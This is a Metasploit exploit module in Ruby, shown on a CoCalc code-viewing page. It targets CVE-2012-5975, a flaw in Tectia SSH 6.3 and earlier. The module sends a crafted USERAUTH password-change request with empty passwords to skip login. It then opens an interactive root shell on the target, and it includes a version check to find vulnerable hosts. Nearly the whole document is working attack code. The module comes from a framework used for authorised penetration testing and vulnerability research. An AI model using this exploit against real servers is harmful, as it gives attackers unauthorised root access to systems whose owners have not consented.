CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/ssh/tectia_passwd_changereq.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'net/ssh'
7
require 'net/ssh/command_stream'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
include Msf::Exploit::Remote::Tcp
13
include Msf::Exploit::Remote::SSH
14
15
def initialize(info={})
16
super(update_info(info,
17
'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
18
'Description' => %q{
19
This module exploits a vulnerability in Tectia SSH server for Unix-based
20
platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
21
before password authentication, allowing any remote user to bypass the login
22
routine, and then gain access as root.
23
},
24
'License' => MSF_LICENSE,
25
'Author' =>
26
[
27
'kingcope', #Original 0day
28
'bperry',
29
'sinn3r'
30
],
31
'References' =>
32
[
33
['CVE', '2012-5975'],
34
['EDB', '23082'],
35
['OSVDB', '88103'],
36
['URL', 'https://seclists.org/fulldisclosure/2012/Dec/12']
37
],
38
'Payload' =>
39
{
40
'Compat' =>
41
{
42
'PayloadType' => 'cmd_interact',
43
'ConnectionType' => 'find'
44
}
45
},
46
'Platform' => 'unix',
47
'Arch' => ARCH_CMD,
48
'Targets' =>
49
[
50
['Unix-based Tectia SSH 6.3 or prior', {}]
51
],
52
'Privileged' => true,
53
'DisclosureDate' => '2012-12-01',
54
'DefaultTarget' => 0))
55
56
register_options(
57
[
58
Opt::RPORT(22),
59
OptString.new('USERNAME', [true, 'The username to login as', 'root'])
60
], self.class
61
)
62
63
register_advanced_options(
64
[
65
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
66
]
67
)
68
end
69
70
def check
71
connect
72
banner = sock.get_once.to_s.strip
73
vprint_status("#{rhost}:#{rport} - Banner: #{banner}")
74
disconnect
75
76
# Vulnerable version info obtained from CVE
77
version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''
78
build = version.split('.')[-1].to_i
79
80
case version
81
when /^6\.0/
82
unless (4..14).include?(build) or (17..20).include?(build)
83
return Exploit::CheckCode::Safe
84
end
85
86
when /^6\.1/
87
unless (0..9).include?(build) or build == 12
88
return Exploit::CheckCode::Safe
89
end
90
91
when /^6\.2/
92
unless (0..5).include?(build)
93
return Exploit::CheckCode::Safe
94
end
95
96
when /^6\.3/
97
unless (0..2).include?(build)
98
return Exploit::CheckCode::Safe
99
end
100
else
101
return Exploit::CheckCode::Safe
102
end
103
104
# The vulnerable version must use PASSWORD method
105
user = Rex::Text.rand_text_alpha(4)
106
transport, connection = init_ssh(user)
107
return Exploit::CheckCode::Vulnerable if is_passwd_method?(user, transport)
108
109
return Exploit::CheckCode::Safe
110
end
111
112
def rhost
113
datastore['RHOST']
114
end
115
116
def rport
117
datastore['RPORT']
118
end
119
120
def is_passwd_method?(user, transport)
121
# A normal client is expected to send a ssh-userauth packet.
122
# Without it, the module can hang against non-vulnerable SSH servers.
123
transport.send_message(transport.service_request("ssh-userauth"))
124
message = transport.next_message
125
126
# 6 means SERVICE_ACCEPT
127
if message.type != 6
128
print_error("Unexpected message: #{message.inspect}")
129
return false
130
end
131
132
# We send this packet as an attempt to see what auth methods are available.
133
# The only auth method we want is PASSWORD.
134
pkt = Net::SSH::Buffer.from(
135
:byte, 0x32, #userauth request
136
:string, user, #username
137
:string, "ssh-connection", #service
138
:string, "password" #method name
139
)
140
pkt.write_bool(true)
141
pkt.write_string("") #Old pass
142
pkt.write_string("") #New pass
143
144
transport.send_message(pkt)
145
message = transport.next_message
146
147
# Type 51 means the server is trying to tell us what auth methods are allowed.
148
if message.type == 51 and message.to_s !~ /password/
149
print_error("#{rhost}:#{rport} - This host does not use password method authentication")
150
return false
151
end
152
153
return true
154
end
155
156
#
157
# The following link is useful to understand how to craft the USERAUTH password change
158
# request packet:
159
# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
160
#
161
def userauth_passwd_change(user, transport, connection)
162
print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")
163
pkt = Net::SSH::Buffer.from(
164
:byte, 0x32, #userauth request
165
:string, user, #username
166
:string, "ssh-connection", #service
167
:string, "password" #method name
168
)
169
pkt.write_bool(true)
170
pkt.write_string("") #Old pass
171
pkt.write_string("") #New pass
172
173
transport.send_message(pkt)
174
message = transport.next_message.type
175
print_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
176
177
if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
178
transport.send_message(transport.service_request("ssh-userauth"))
179
message = transport.next_message.type
180
181
if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT
182
shell = Net::SSH::CommandStream.new(connection)
183
connection = nil
184
return shell
185
end
186
end
187
end
188
189
def init_ssh(user)
190
opts = ssh_client_defaults.merge({
191
:user => user,
192
:port => rport
193
})
194
options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
195
transport = Net::SSH::Transport::Session.new(rhost, options)
196
connection = Net::SSH::Connection::Session.new(transport, options)
197
198
return transport, connection
199
end
200
201
def do_login(user)
202
transport, connection = init_ssh(user)
203
passwd = is_passwd_method?(user, transport)
204
205
if passwd
206
conn = userauth_passwd_change(user, transport, connection)
207
return conn
208
end
209
end
210
211
def exploit
212
c = nil
213
214
begin
215
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
216
c = do_login(datastore['USERNAME'])
217
end
218
rescue Rex::ConnectionError
219
return
220
rescue Net::SSH::Disconnect, ::EOFError
221
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
222
return
223
rescue Net::SSH::Exception => e
224
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
225
return
226
rescue ::Timeout::Error
227
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
228
return
229
end
230
231
handler(c.lsock) if c
232
end
233
end
234
235